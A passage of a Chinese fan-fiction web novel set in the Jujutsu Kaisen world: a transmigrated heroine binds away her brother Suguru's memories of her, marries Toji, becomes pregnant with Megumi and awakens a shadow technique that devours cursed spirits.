小杰有些委屈，“可是爸爸妈妈不信我，我说能看见怪物，他们说我撒谎，还带我去医院，对医生说我出现幻觉。”
一旁的甚尔表情意外，他做了个呕吐架势，然后伸出手心。
“能看得见吗？”
小杰如临大敌，拉着我往后退。
我却是什么都没看见。
“姐姐，他、他养了怪物！”
甚尔收回手，眼神变深，然后扭头跟我说，“霁，你弟弟应该有术士，咱们把他卖了吧，应该值不少钱，毕竟许多诅咒师会猎杀小术师把尸体作为咒材的习惯。”
我白了他一眼，然后搂住了护在我前面的小杰。
“别怕，甚尔只是吓唬你。”
“啧，没意思。”甚尔一脸无趣的双手伸开往沙发上一靠。
我看小杰目光移动，有些好奇地问，“我能看见吗？”
说来也只有上次进了碟仙的简易领域才看见咒灵，之后领域毁得太快，我都没有看清楚丑宝，只是一闪它就
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消失在我视线中。
“没什么好看的，那是个很丑陋的世界。”
他警告道：“要是霁哪一天看见，千万不要跟咒灵眼睛对视，要尽快离开那片区域……”
“咒灵？”小杰突然出声。
“那些怪物叫咒灵？”
我推了甚尔一把，“我去泡澡，你跟小杰普及一下，我怕他什么都不懂，对咒灵起好奇心伤到自己。”
一个小时后，我泡了澡做了护理才香喷喷地出来。
小杰对甚尔态度明显变了好多。
“姐姐～”他眼睛一亮，“原来这个世界上能看见咒灵的不是我一个人！”
我配合点头，“那是当然，我弟弟可是宝可梦大师，以后注定要走上收服咒灵，拯救世界的道路。”
哪个小学生没有幻想过自己拯救世界？
小孩有点骄傲。
我看向甚尔问，“小杰这样的人是不是有危险，能让小杰有自保能力吗？打不过起码也能逃跑。”
甚尔看向小杰，“喂，小鬼，你的术士是什么？像你们这种受父母恩惠的人，五六岁就觉醒术士了吧？”
小杰两眼迷茫，大概是根本没有听懂。
甚尔啧了一声，“真是麻烦。”
说着他起身，“我很快回来。”
真的很快，前后还没有五分钟，甚尔就提着一团空气上来了。
我看不见咒灵，但是我能从小杰视线中感觉到甚尔手里抓了什么东西。
小杰应该是认识的，他明显变得自信许多。
“这个很弱，我打败过！”
＊＊＊
甚尔一点也不客气地打击他，“这只是最低级的四级咒灵，随便一个术师都能祓除。”
将蝇头一巴掌拍晕，放在桌面上，“小鬼，用你与生俱来的能力放在这个蝇头身上。
他现在可是万分不爽，一向对术师毫不手软的他，如今竟然沦落到给一个小术师启蒙？
甚尔目光不由自主看向了满眼好奇看向桌面的女人身上，被爱情滋润的女人如同一朵绽放的花朵，让人不经意间将目光投放在她身上。
啧，谁让他是霁的弟弟，算这个小鬼走运。
小杰迅速伸手将桌面上的咒灵吸到手里化成了一团金色咒灵玉。
甚尔有些意外，“咒灵玉？这种术士我有点印象。”
他拍了拍脑袋，可可爱爱地虚画了圈，学着聪明一休的动作道：“啊，以前听说过。”
“过去很久了，不记得了，得回去翻资料才知道。”
他露出恶劣笑容对着小鬼道：“不过我不会为你回那个垃圾地方。”
立花霁这时开口，“咒灵玉的话我知道。”
甚尔和小杰迅速扭头。
立花霁食指点着额头苦恼思索，“外婆留下的书里提到过。”
“是咒灵操术，咒灵玉是咒灵操使降伏咒灵后的产物，吞下咒灵玉，咒灵操使可以驱使咒灵。”
这话倒是没有骗人，立花霁下楼很快拿了一本书上来。
“这本书记录了许多有趣的术士，都是我们家祖上一代一代记录下来的。”
她翻到某一页，上面介绍了咒灵操术，“可以将降伏的咒灵收为己用，咒灵操使若是和咒灵等级相差二级以上可省略降伏过程，若是一级以上咒灵可以抽取咒灵术士为咒灵操使所用……”
夏油杰目瞪口呆，“姐姐，咱们家祖上为什么会有这个？”
立花霁立刻翻到第一页，“我们家祖传术士是复制，复制后术士就是我们的了，会在我们血脉里传承下来。”
她看到这本书时也很意外，这哪里是记录术士的书籍，分明就是一本菜谱！
“杰你觉醒的应该是咒灵操术……”
17.束缚
立花霁合上了书，以一种全族希望都放在他身上的语气道：“小杰，这一代只有我们两个人了，我是连咒灵都看不见的普通人，以后光宗耀祖的希望就放在你身上了。”
夏油杰看着面前比他嘴巴还要大的咒灵玉磕磕巴巴道：“姐姐，非得吞下才能降伏吗？”
他再次比划了一下，这不得被噎死。
立花霁叩了他一下脑门，“你傻呀，又不是什么都吞，当然选最贵、不对，是等级最高的吞了！”
“甚尔，你知道哪里有高等级的咒灵吗？找一个给他，好歹让他有自保之力。”
她有点可惜，早知道碟仙咒灵就留一留，说不定养养还能升为一级，给弟弟留着多好，浪费了～
甚尔开口：“别想了，附近没有等级高的咒灵。”有也被他干掉了。
他沉吟一声，“我倒是记得东京某个区藏着一个特殊的特级咒灵，那里被御三家封锁了。”
那地方禁止人进入，当然这世上不缺找死的人，时不时就传出失踪消息。
“这样，我带这个小鬼走一趟。”
他露出兴奋表情，能让御三家吃亏的事，他可是很有兴趣。
说干就干，甚尔提着小鬼就往外走，“霁，你早点休息，我带这个小鬼走一趟。”
＊＊＊
我是第二天中午才看见两个人回来，小杰两眼无神，嘴角泛红，捂着喉咙一副被摧残过的模样。
我担忧地问，“小杰，你还好吗？”
小杰摆手，声音嘶哑道：“姐姐，我已经没事了。”
心念一动，被调服的咒灵从异度空间钻出来。
他有些兴奋道：“姐姐，我可以使唤咒灵！”
我嗯嗯点头，虽然看不见，情绪价值却给足了。
既然小杰有了自保能力，就不用担心他被咒灵袭击而受伤，我跟他商量，“明天你要上学，等会儿我送你回家……”
他兴奋之色稍减，低低嗯了一声。
坐电车的时候我交代他要和平常人一样，不要和咒灵对视，也不要让别人知道他能看见咒灵。
我叹了口气，摸了摸他的短发，“别责怪妈妈，他们看不到那个世界，也不是他们不信任你，只是他们希望你能够回归正常世界，你还小不知道这个国家的人很排挤有特殊才能的人。”
“他们只是用自己的方式来保护自己的孩子，你要藏好，别让人知道你能看见咒灵。”
小杰昂头问，“那姐姐，我需要藏到什么时候？”
我说，“比姐姐高的时候。”
送他回家时，母亲脸色不是很好，我告诉她已经劝过小杰了，他保证不会再胡闹。
然后我跟小杰手拉手，“小杰，我们立下束缚吧，长大之前忘记姐姐，拿这段记忆来换取吞食咒灵玉时味觉丧失的束缚。”
小杰闻言大惊。
我冲他挤眼，“没关系，是长大之前。”
小杰红着眼眶，“是我惹姐姐讨厌了吗？我不想忘记姐姐。”
我只是不想干扰他的命运。
我伸出手指弹了他额头，然后按住了他脑袋，“过分哦～咒灵一定很难吃吧，回来后你什么都不碰。”
“只是暂时，小杰很快会长大，你会答应的对不对？”
他伸出尾指勾住了我的手指，“约定，长大后我会去找姐姐。”
束缚签订，无形中我感觉多了什么。
小杰摇摇晃晃，闭上眼睛之前喃喃道：“姐姐。”
终究是抵抗不住睡意睡了过去。
我抱住他，轻声说：“小杰，安心睡吧，有姐姐在，不会让你再堕入苦夏。”
我会困住甚尔，那个造成一切的开端。
……
“小杰还小，过段时间就会忘记我，请您不要在他面前提起我，回去后我会搬家，应该不会再打扰你们。”
看女人松了一口气，我鞠了一躬，然后往外走，大门外甚尔正等着我，我快步小跑过去挽住了他手臂。
“回家吧。”
“小鬼不会来打搅我们了吗？”
我感受到甚尔的不安，笑容灿烂。
“放心，小杰还小，只是和父母吵架，很快会和好。”
“那可真是太好了。”
“甚尔你笑得太开心了。”
“是吗？大概是我真的很开心。”
“以后我只剩下甚尔了。”
“霁，我爱你。”
“讨厌，干吗突然说这种话？”
“……”
“……我也是，很爱很爱甚尔。”
＊＊＊
回去后决定搬家，这个房子离学校太远，真的很不方便。
我忙着学业和工作室的事，找房子搬家的事交给了甚尔。
他对这件事很上心，毕竟是我们的爱巢。
最后选定的是大学附近的一座公寓，房间很大，不必像以前一样房间小到多一个人都感觉到拥挤。
搬家的时候许多老旧电器都没带，只收拾出了必要东西，这里不得不夸一下丑宝，可真是搬家好搭档。
我们的预算不少，虽然大部分钱都投入股市，但剩下的积蓄也足够我们支付高档公寓的房租。
至于买房子我没想过，现在房子就是负资产，与其买房子还不如将钱丢进股市里。
搬新家自然是要邀请朋友来温居，我第一个电话打给了学姐，结果学姐的电话没有打通。
我觉得奇怪，借着一个周末拉着甚尔去米花町找人。
只是还未下车，甚尔就拉住我，一副如临大敌的样子，直到电车离开了米花町站才放松下来。
我不傻，虽然看不见，也意识到事情不对。
“米花町出事了？”
“上方被大型领域笼罩，有点奇怪。”
我吃惊，“学姐会不会出事了？”
甚尔安抚我，“我们先回家，我找人询问情况。”
他将我送回家，我忧心忡忡地看着新闻，试图寻找蛛丝马迹。
到了晚上，甚尔咧嘴回来了，一脸喜气洋洋。
“这次禅院家吃了一个大亏！”
“因为米花町？”
他告诉我米花町已经变成了天元结界的黑洞，现在整个咒术界都闹翻天了。
“那里诞生的咒力都被上空领域吸走，时间也变得混乱，咒术界只能将米花町及其周围都划为禁地。”
他又说了打探到的情报，“只要进入米花町，咒术师的咒力就会被吸走，一开始有不少术师进去查探，大概是没把里面的普通人当一回事，不少栽在普通人手里。”
他幸灾乐祸道：“术师大概永远也想不到会死在他们看不起的猴子手里。”
我皱眉，“这种领域对普通人会有影响吗？”
“谁知道呢？或许过几年就恢复正常了，反正生活在里面的人不会察觉到异常，说不定能获得长生。”
“咒术界就没有深入调查？”
“总监部给出的消息是，那里属于规则类领域，应该是某个生活在那个地方的人觉醒了术式，那个领域吸取的咒力越多就越强，总监部不是没试图找到人，只是没有找到而已。”
我脑海里浮现出一个人影，是你吧，名侦
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探柯南！
我立刻明白没事了，米花町时间线混乱不是很正常。
说不定是两个世界融合，才会变成这样。
民风淳朴的米花町负面情绪爆棚，却没有咒灵出现，肯定要圆上这个设定。
“你学姐没有事，好好的当她大小姐呢。”
他用力把我抱住，“真好，这下没有不长眼的人跟我抢霁了。”
我愣了一下，没想到小杰的到来还是影响到了甚尔。
之前我就察觉到甚尔的不对，小杰的出现让他变得异常，变得更黏我。
我想到了禅院家的“非禅院者非术师，非术师者非人”的信条。
甚尔虽然离开了禅院家，可实际上还是受到这句话的影响。
他心里应该是自卑的，在得知小杰有术式，还是那种很强的术式，他立刻将自己放在了鄙视链的最底层。
童年受到的创伤，需要一生来治愈。
也是因为意识到这一点，我才选择跟小杰断开联系。
我呀，舍不得甚尔难过。
我笑着搂住了他的脖子，迎接他的吻。
……
时间线混乱的缘故，学姐没再联系我，或许在她的时间里，我们分开没多久。
工作室那边由我接管，接连赞助了几部电视剧，我们工作室创建的品牌也变得有名气起来。
跟国际大牌是没法比，在立本这个小地方已经小有名气，在蓝领白领中很受宠，算是数一数二的轻奢品牌。
两年时间转眼即逝，我也不是没有跟学姐见过面，都是我去米花町找她，不过在她眼里我是每隔几天就找她一次。
每次去甚尔都不放心，跟着我一块去。
然后发现他在米花町这个地方混反而如鱼得水，米花町这个地方不是爆炸就是凶杀案，他混过黑暗，在这地方简直像是到了自己家。
关键是这地方把普通人诞生的咒力一吸，所有人都在同一起跑线上，大家都没有咒力，这点他占优势，因为他本身就没有咒力，咒力在出生前全拿来增强肉！体强度了。
没有咒力，身体强度还没有变，可不就是他的快乐老家？
2001年的跨年夜我和甚尔一起度过，到了元旦他就是可以喝酒的成人了。
成人礼很重要，不过他的户籍一直没有迁出来，我陪他走了一趟京都府。
主要目的不是为了参加当地举办的成人礼，而是迁出他的户籍。
我在酒店等了半天，才见到甚尔满身戾气地回来。
我没有问，他自己主动交代：“我将禅院家的人都揍了一顿。”
停顿了一下，“没死人。”
没死人就好，我就是这么偏心，然后看到了甚尔拿到手的户籍。
“是不是要去市役所提出申请？”
甚尔道：“那边放假，不过没关系，我联系人可以加塞进去，等那边上班就可以转过去。”
这些我不懂，就让他自己去办了。
办完后，他陪着我逛了京都府几个有名的景点，我们还拍了不少照片，成人礼之后我们带着不少特产回到了埼玉。
临近毕业其实去学校的时间不多，我提交了工作证明和论文就等着答辩了。
三月下旬进行毕业式，这两天答辩，有些紧张，便跟他分床睡，这家伙臭着脸在客厅的沙发上睡了几天。
脸虽臭了点，该做的饭还是做，家务也是。
对答辩我很有把握，毕竟在这行已经有点名气。
吃晚饭的时候我对甚尔说，“大后天是毕业典礼，结束后我们去旅行吧，我想去种花。”
18.上天的恩惠
去年年初雅虎股票暴涨，正处于互联网寒冬，这种涨势一看就不正常，我卖掉了这只股票，果然等到今年，这只股票大跌。
手里多的这笔钱没有动，打算出去玩一圈，等回来后再购入，毕竟还没跌到低。
甚尔边吃饭边在笔记本电脑上操作，“可以。”
我奇怪地看了他一眼，这家伙这几天有点神神秘秘。
答辩顺利结束，我邀请甚尔去参加毕业典礼。
没想到他竟然给了我一个惊喜。
我穿着学士服正和甚尔合影，他突然跪下拿出了一枚戒指向我求婚。
我惊讶坏了，周围的同学都围过来冲我们鼓掌。
我有些感动，同时又有些好笑。
结婚需要户籍，这家伙回禅院家拿户籍该不会就是为了求婚吧？
答不答应呢？
我在心里问自己，我离不开甚尔，他也是，不管未来怎么样，我们都会一起面对，何必杞人忧天呢？
见我伸出手，他脸上露出了极为灿烂的笑容，迫不及待帮我戴上戒指，然后抱着我高兴转圈。
我看他这么高兴，也忍不住露出笑容。
＊＊＊
我虽然答应了结婚，却没有立马登记的意思，毕竟我们还年轻没必要这么早进入婚姻的坟墓。
所以我们订婚了，成为正式的未婚夫妻。
我将订婚仪式放在了米花町，学姐和园子她们参加了小小的订婚宴。
我拒绝柯南参加，倒是把这小子气得跳脚。
虽然早就同居，可订婚后感觉却有些不同，好像有名分了一样。
甚尔的护照办理需要预约，跑了几次后终于办下来了，我们正式启程旅行。
千禧年的种花处于巨变之中，一线城市高楼拔地而起，我们旅游到魔都，一问房价，便宜到让后世过来的人都不敢相信，我立刻买了一套大平层，就在江边上。
买完我拿着合同昂头道：“等以后我们过来旅游就住在这。”
我满是雄心壮志道：“国际大都市都买一套，让咱们的孩子也不输在起跑线上！”
甚尔低头看了看我的肚子，跃跃欲试，“我们今晚试试不用套？”
我白了他一眼，“我是说以后，现在可没有生孩子的意思。”
我才二十二，大学刚毕业，正值事业巅峰，谁会在这个时候生孩子？
何况……
我皱眉想起了伏黑惠。
这是我心里的疙瘩，若我是惠的妈妈，那不是意味着我会早死？
若我不是，岂不是蝴蝶了惠？
少了一个主角会不会导致这个世界崩塌？
另外惠是哪年出生？
我算了一下，18年是十五岁，倒退十五年是2002年生，他是冬至出生，2002年的冬至……
现在是2001年，也就是一年后才会怀上他。
算了，反正还有一年，这个问题等到明年我再烦恼。
离开魔都，我们又去四九城爬了长城，还看了辽阔的草原，去了很多地方，雪山、沙漠都留下了我们的足迹。
冬天我们去了香江过冬，香江这边正值赛马高峰期，走哪里都能听见相关话题。
我们玩了几局，我小赢一把，甚尔是全输，回酒店一算账，亏了。
这家伙的运气真是绝了，我再次严令禁止他赌博。
香江刚回归没几年，社会风气有点浮躁，我们飞去花城度假。
我俩的生日和元旦都是在这边度过，之后我还过了一个原汁原味的春节，这比后世新年气氛浓郁多了。
这段旅程很长，我跟过去和解，以后我会用心和甚尔过日子，而不是惦记穿越前。
我恢复了一些高中时的记忆，我已经确定起码在高中前就已经穿越过来，很有可能没有什么原身，那就是我。
只是我还没有弄清楚我为何会被封印住一部分记忆。
之前我和小杰习用记忆来换取需要的能力束缚，我怀疑自己是不是也这么干过，正因为做过，才会习惯性拿记忆来换。
到目前为止我都不知道我拿记忆换什么了，记忆也只回来高中那部分，高中之前的还未解封，也意味着束缚还未完成。
或许等完成后我才能知道自己换了什么。
春节后我们飞回了立本，完成了这次长达近一年的旅行。
玩了一年再看雅虎股票比卖出时跌了95%，玩剩下的钱再投入进去，换来了远比之前还要多的股票。
接下来可以和其他股票一样长期持有，就等2008年经济危机之前出手。
处理完财务的事，我看向甚尔，将这件事告诉他，“到时记得提醒我。”
我不怕忘记，就怕我出了意外，甚尔忘了这件事。
这次回来我还找律师事务所拟定了一份协议书，我和他共同持有我们的股票。
到了三月我发现我“中奖”了。
我坐在马桶上，看着两条杠有些失魂落魄。
之前我还在犹豫，要不要顺应剧情怀上，之后甚尔都戴套了，我以为会躲过剧情，没想到这个小生命在我不知道时悄无声息落在我的肚子里。
回忆了一下，上个月离开花城之前那晚上他动作激烈套破过，当时也没在意，没想到会出这么大“纰漏”。
我黯然，手不由放在了肚子上，既然避不开剧情，那就积极应对吧。
我就不信我这个穿越女还破不了这该死的剧情！
拉开门甚尔等着门外，见我出来神色紧张问，“怎么样？”
验孕纸还是他去买的。
我露出笑容，“甚尔要当爸爸了。”
甚尔整个人愣在原地，他突然跪下，小心地将头贴着我的腹部。
然后仰头对我说，“这是上天赐予我的恩惠，以后就叫惠吧。”
我装作不满道：“什么呀，是我怀的孩子，和上天有什么关系？”
他眼里满是笑意和感恩，“因为你就是我的上天。”
我的心软得一塌糊涂，我想此时就算让我为他去死，我都心甘情愿。
＊＊＊
“
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以前我不解，我的运气为何那么糟糕，现在明白了，我透支了所有运气，用在了遇见霁这件事上。”
甚尔是真心这么想。
他这样的人，这样一无是处的人，凭什么能遇见霁这样好的人？
手牵着手，将他拉到正常世界中，教会了他很多，让他明白什么才是幸福。
雨一直没有停过的内心世界在遇见她后突然雨过天晴了。
他是何等幸运才能遇上霁？
“我爱霁，禅院甚尔爱霁，霁，我现在感觉到了幸福。”
＊＊＊
验孕纸虽然是两条杠，但是不准确，我们又去了医院做了检查，结果是我确实怀孕了，三周。
算算可不就是在回来之前怀上的。
看着胶片上那个小胚芽，我忍不住摸了摸影像，“这就是惠吗？”
甚尔从背后搂住我一起看，脸上满是幸福，他忍不住开口道：“霁，我现在感觉幸福好像要溢满出来了。”
我反手摸他的脸，“好了，别贫嘴了。”
“我们去登记结婚吧。”既然有了孩子，结婚这事该进入行程了。
甚尔愣了一下，两眼亮起来，“我现在就去取结婚届！”
看着他快速拉门出去，我脸上的笑容逐渐消失，手放在肚子上，我心中满是隐忧。
体检结果出来我的身体很健康，要是我生下惠还是走了，不知道甚尔会怎么看待惠。
＊＊＊
我们结婚了，从今以后他改叫立花甚尔了。
不算是入赘，只是单纯地改成了我的姓。
立本这边没有强求女性随夫姓，只是结婚登记夫妇要统一姓氏，甚尔非常爽快地放弃了自己的姓氏。
“怎么能让霁改姓禅院？当然是随霁的姓了。”
我有种甚尔迫不及待想丢掉禅院这个姓氏的即视感。
我们进入了新婚生活，原本以为会很平静，怀孕三个月发生了一件事为我们这个小家蒙上了一层阴影。
五月阴雨连绵不断，时而凉爽时而温暖，空气中弥漫着挥之不去的潮湿。
夏季即将来临，工作室也忙碌起来，忙碌着上架夏日新品。
工作室这边我走不开，甚尔便陪我来上班。
今天中午甚尔接到了一个电话出去了，等我忙完已经是傍晚，见甚尔没有回来，我发短信告知他我先回家了。
然而路上我突然感到一阵晕眩，蹲了一会儿等好一点再站起来，整个世界都变得不一样。
随处可见的咒灵出现在我眼中，十个行人里有两个都被咒灵纠缠。
我捏了捏眉心那块肉，迅速离开那片区域，本来以为是附近有什么高级诅咒威胁到了我的生命才让我看见了咒灵，但是当我坐上出租车，离开了很远，还是能看见路边随处可见的咒灵我意识到不对。
一股异常的饥饿感不断向我传递，我才吃过下午茶不久，怎么会饿？
可是好饿，还有外面散发着一股奇异香味。
我觉得我疯了，不然我怎么会对着咒灵在咽口水？
19.吞噬咒灵
甚尔拿着刚到手的咒具稀罕了一阵子。
特级咒具天逆鉾，能够强制解除一切术式！
他可以戒掉一切爱好，除了收集各种咒具，他总是无意识收集有用的咒具。
只是收集咒具费时又费力，关键还费钱，往常他都是在霁睡着后偷偷摸摸出门，也只接家附近的任务，攒了好久的钱。
这次要不是对天逆鉾太心水，他也不会白天跑出来。
将天逆鉾塞到丑宝嘴里，甚尔大步往家走去。
小丑东西的名字还是霁给起的，他觉得霁起名很合适。
还未进家门，他就感觉到不对劲，推门进去家里空空荡荡哪有霁的身影。
“——霁！”
他快速打开窗户跳下楼沿着往工作室所在的方向冲去。
霁在一个小时前发来短信，就算是堵车她也应该回到家了！
他的脚步突然停下，察觉到了十公里外有一股强大的咒力冲击，瞳孔缩小，他以最快速度冲了过去。
这股咒力非常陌生，少说也有准二级，难道是有诅咒师找了过来？
这帮诅咒师可都是没人性，若是霁落入他们手中……
甚尔内心充满惶恐，明明是最强的天与暴君，此刻却变得脆弱无比。
原来这就是软肋被抓住的感觉。
很快他脚落在了十公里外一栋废弃的医院外，医院围墙上，到处贴着禁止入内的陈旧标签。
“这里是……”
是熟悉的气息。
御三家用咒物镇压诅咒的地方。
可真是让人不爽啊！
门口铁门被人推开了一条缝，他看见了一个熟悉的丝巾挂在铁门上，这令他心急如焚。
霁一定被带到了这里！
丑宝吐了特级咒具游云，甚尔提着武器露出狰狞面目。
无论是谁！无论是谁！敢动霁，就去死！
医院已经很破败，到处都是残骸和垃圾。
甚尔无视这些直冲咒力最浓郁的地方，那是一楼急症室。
但是当他踹碎窗户跳进去，他的心都要碎了。
他的霁抱膝躲在了角落里，不远处一个黑漆漆的身影正蹲在一个疾病咒灵尸体前大快朵颐。
每吃进去一口，他都能感受到黑漆漆的东西咒力在增强。
甚尔眼里闪过了一丝疑惑，因为这黑漆漆的东西明显跟霁有联系。
同时他又松了一口气，没有诅咒师，霁还好好的。
他大步走过去，“霁！”
双手将人横抱起时，他明确感知到她的身体在颤抖，这让甚尔心疼坏了。
那边的黑影饱餐一顿后瞬间融化成一团黑色液体，眨眼间回到霁的脚下变成了影子。
甚尔哪里还能不明白，霁这是觉醒了术式。
“霁不要怕……”
回应他的是立花霁双手搂住了他的脖子，她崩溃的声音在他耳边响起，“怎么办？甚尔，怎么办？”
“我能看见咒灵了，我感觉咒灵都好香，等回过神来就到了这里……”
“我竟然想吃咒灵，我是不是变成怪物了？”
她浑身发抖，明显是带着莫大恐慌。
甚尔吻了吻她的发顶，“霁才不是怪物，要说怪物我才是，霁，别担心，我会帮你。”
＊＊＊
等我回到家才逐渐冷静下来，半路上我被突如其来的饥饿感给逼疯了，然后就看见我的影子突然活了过来，天知道我有多崩溃，
影子活过来的第一件事就是将周围的低级咒灵横扫一空，可是低级咒灵提供的咒力杯水车薪，我就好像饿了很久一样，只吃了两块点心垫垫肚子。
如同被操控一般，我来到了咒力最多的地方，再等我回过神来我已经进入废弃的医院大楼。
而我的影子和这个地方的咒灵打成了一团……
“霁，不要害怕，你只是觉醒了术式。”甚尔这般安慰我。
是吗？
我不信。
之前我是普通人，这足以证明我没有术师大脑，哪怕有祖传术式也无法使用。
怎么可能突然觉醒了术式，又不是被无为转变改造过。
甚尔这话骗不了我。
除非六眼当着我的面这样说。
“原来我觉醒了术式，甚尔，不用为我担心，只是事情发生得太过突然，我被吓到了。”
我挤出了一丝笑容，看了一眼躲得远远的丑宝，小东西丑得挺别致。
丑宝之前离我太近被吸走了一点咒力，这会儿变瘦了，也不敢靠近我们。
“这样也很好，我有术式能自保，不用再担心被咒灵袭击。”
这次事情太冲击我的三观了，我竟然觉得咒灵很香？拜托，那可是人类排出的负面情绪，形同于排泄物。
更加让我抓狂的是影子猎捕完咒灵，补充咒力后我竟然有了饱腹感。
此刻我懒洋洋地犯困，就问我还是人类吗？
＊＊＊
甚尔心情很沉重，却不敢露出一分，霁已经很崩溃了，他要是再显露出来……
“困了吗？”他摸了摸她的长发，这会儿汗津津的，他一点都不嫌弃，凑上去亲吻。
立花霁被突来的睡意袭击，两眼迷瞪点头。
“好困～”她搂住他的脖子，含糊着撒娇。
甚尔抱起她往卧室走去，“困了就睡吧，我跟你保证，醒来就没事了。”
立花霁几乎是沾床就睡。
甚尔俯身盯着她看了许久，最后目光停在了她小腹。
这里孕育着他们俩的孩子。
他不清楚普通人怀上拥有特殊能力的孩子是什么样子的，却知道御三家只找有术式的女人孕育子嗣。
他心情很凝重，霁能看见咒灵绝对不是现在觉醒，术式只会幼年觉醒，只是有些人血缘已经被稀释，只能看见咒灵而发动不了术式。
这是大脑注定了咒力上限，超过限制的咒力会溢出来形成诅咒，不像术师咒力能储存身体为自己所用。
霁之前看不见咒灵，哪怕有术式也看不见，只能说她的大脑不是术师大脑。
突然能看见还有另一种可能，就是孕育了咒力强大的子嗣。
子嗣咒力强，储存在母体中，让母亲也有了看见咒灵的能力，一般只算限定体验，孩子生下后会带走这种能力。
只是……
他凝眉不解，能看见咒灵还能说得过去，吞食咒力又是怎么个说法？
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那道黑影分明就是霁的术式。
＊＊＊
我做了个梦，梦中我站在一个漆黑的世界里，面前是一个个被封印起来的虚影。
排在最前面的快有了实体，一个声音不断催促我，快多猎取咒灵，将式神孕育出来，不然我得不到足够的咒力补充，会吸走我的生命力。
等我再次醒来，梦中的一切已经变得模糊，我望着房顶，只记得我可以猎捕咒灵。
这就是我的术式吗？
我讨厌谜题，好像过去的自己故意制造了迷障，要是能知晓过去就好了。
最好能找一个跟记忆有关的咒灵，不管是能看见我过去的记忆也好，还是能将记忆抽出来读取也好，起码让我知道过去的我到底在玩什么花样。
“甚尔？”
卧室门被推开，外面已经是深夜，我惊讶他怎么还没睡。
“醒了？”他走过来关心地摸了摸我的额头，“饿了吗？”
我摸着肚子，点头，“饿了。”
怀孕后本来就容易饿，更不要说晚上那顿没吃。
“煮了排骨汤，还有牛肉饼。”
我弯了弯嘴角，伸手，就这么被他抱着去了客厅。
吃饭时，甚尔很冷静地说了猜测。
我摸了摸微微起伏的小腹，是不是说我怀惠的同时还孕育着十种影法，正因为要孕育式神才需要大量咒力。
而我的身体并不能满足那部分咒力，我的术式快被抽干才让我感觉到饥饿。
那种挠心挠肺的饥饿感不是我本身，而是来自我的术式？
我低头看了一眼影子，很正常的模样，完全无法想象到不久前它吞噬了一只二级咒灵。
我同样冷静地说了做的梦，没有说太清楚，“我的本能告诉我，我需要很多咒力。”
吞噬咒灵补充咒力我能想到的就是惠的式神玉犬。
而我的术式之前是不会吞噬咒灵补充咒力，不然碰见碟仙那次，影子该跑出来了吃咒灵尸体才对。
甚尔怔住，他大概也没有想到他这样的人，竟然会有一个强大术式的孩子，虽然不知道是什么术式，但是在妈妈肚子里就能让妈妈看见咒灵，未来觉醒的术式一定很强。
“我们一起，我会帮霁，猎杀足够多的咒灵。”
我看向甚尔，有一种感觉，哪怕我说杀人，他也不会让我动手，而是杀给我看。
我冲他伸出手，这样的甚尔让我怎么舍得丢下，我要尽全力改变我们的命运。
……
填饱肚子，我去洗澡，甚尔也尾随进来。
“我不放心，要是滑倒怎么办？”
我便随他了，过了一会儿他凑了上来，“霁，已经满三个月了，可以了吧？”
我摇头，“不行！”
他跟个大狗狗似的凑过来，“霁，我差点以为我失去了你。”
他的手试探性伸过来，我没有拒绝，他眉眼带笑，“我轻点，好不好？”
手臂挨着冰冷的墙壁，却只觉得一阵燥热。
他从背后抱住我，我能感受到他内心的恐慌和失而复得的喜悦。
“甚尔，要一直在一起。”
“嗯，我想和霁融为一体永不分离……”
20.睫毛精
我手伸开，一个无颜少女出现在浴室中。
黑色长发如同无脸女人安静的站在角落里。
这个术式很特殊，可以转化为任何我见过的脸，还能够被普通人观测到。
没什么战斗力，可以作为分身使用。
此刻我无比冷静，仿佛知道这个少女不会伤害我一样。
甚尔冲了进来，二话不说将我护在怀里，他手里还拿着木铲。
“没事……”
我看着我的手，语气有点飘，“是我召唤出来的，我好像多了一种术式。”
甚尔看着无颜少女的裙子，皱眉，“是昨天医院的那个咒灵？”
我摇头，“不是，那个已经死了，这个是我重新召唤出来的。”
我也很困惑，“怎么会有两种术式？”
我突然一怔，和甚尔面面相觑，不约而同想起了立花家的祖传术式复制。
要是复制术式就能解除之前的一些困惑了？
“之前我以为没有觉醒，现在看来是早已经觉醒了，只是复制术式需要接触到别人的术式达成复制条件。”
而我没有术师大脑，根本无法使用术式，才一直没发现。
我拍了拍他，让他松开我，手中的咒力散去，无颜少女跟着消失。
“我去看看外婆留下的书籍。”
搬家的时候我都带上了，放在了丑宝肚子里，我想着万一剧情不可逆，这些还能留给小杰。
没一会儿我和甚尔坐在一起研究书上记录的内容。
“……上面说我们家的复制术式受咒力制约，原则上要是拥有庞大咒力可以无上限复制。”
这不就是乙骨忧太的术式吗？
可是为什么我的第一个术式是影子？
继续看下去我皱眉，“只是复制术师的术式，无法复制咒灵？”
我不知道我的情况是不是特例，我现在复制的都是咒灵的术式，还没有碰见过术师，小杰也没有在我面前使用过术式。
甚尔毫不在意道：“都试试。”
试试就试试，接起来的夏季我们都奔波在路上抢术师的任务，经过验证，跟术师的术式比，咒灵的术式获取更方便，只要被我的影子吞噬，咒灵的术式会被提取，这种提取是定格在被获取时无法成长。
我的影子是意外，也不知道从哪里复制来的术式，可以做到吞噬咒灵成长，这绝对是进化过的。
术师的咒术我也能复制，只要对着我使用术式，我明白术式的原理和构成，就可以复制下来。
不论是从术师那里复制来的术式还是咒灵那里复制来的，使用时都会受到咒力限制。
我本身没有多少咒力，咒力都在影子身上，影子的成长根本不符合它吞噬的那么多咒灵。
我明白大多数咒力应该是流向孕育的式神，随着我的肚子越来越大，影子也在变强，身上的能力多了起来，还能分裂多个，我隐约从影子身上看到了式神身能力的影子。
我暗暗纳闷，总不能将我儿子的十种影法也复制过来了吧？
转眼就到了冬天，我肚子已经很大了，再过几天就是冬至也就是预产期。
我们不再出门，目前为止我的身体都很健康，虽然心里还有隐忧，但是我想没有透支咒力，应该不会被剧情杀。
进医院待产前，我指挥甚尔准备带进医院的物品。
婴儿用的纸尿裤、奶粉、襁褓，还有我需要的东西。
知道孩子确切出生时间的好处，就是少了一些焦虑。
考虑到坐月子期间不能洗头，我特意将头发剪了，剪完后愣住了，不明白这算不算剧情使然。
冬至这天一早我还是没有动静，慢悠悠地指挥甚尔帮我洗头洗澡。
洗完吹干，我才感觉到隐隐阵痛，又让甚尔煮了一碗面，吃完将嘴一擦我才宣布，“我要生了。”
甚尔噌地一下起身抱住我就要出门，我赶紧拍了拍他，“急什么？行李箱还没拿！”
他又回去拿行李箱，坐电梯下楼时他面色焦急，恨不得立马就到地面。
等电梯到一楼，他二话不说一手抱起我，一手提着行李箱。
我坐在他手臂上，就是那种小孩子的坐法，被沿途人一看我自己都有些不好意思了。
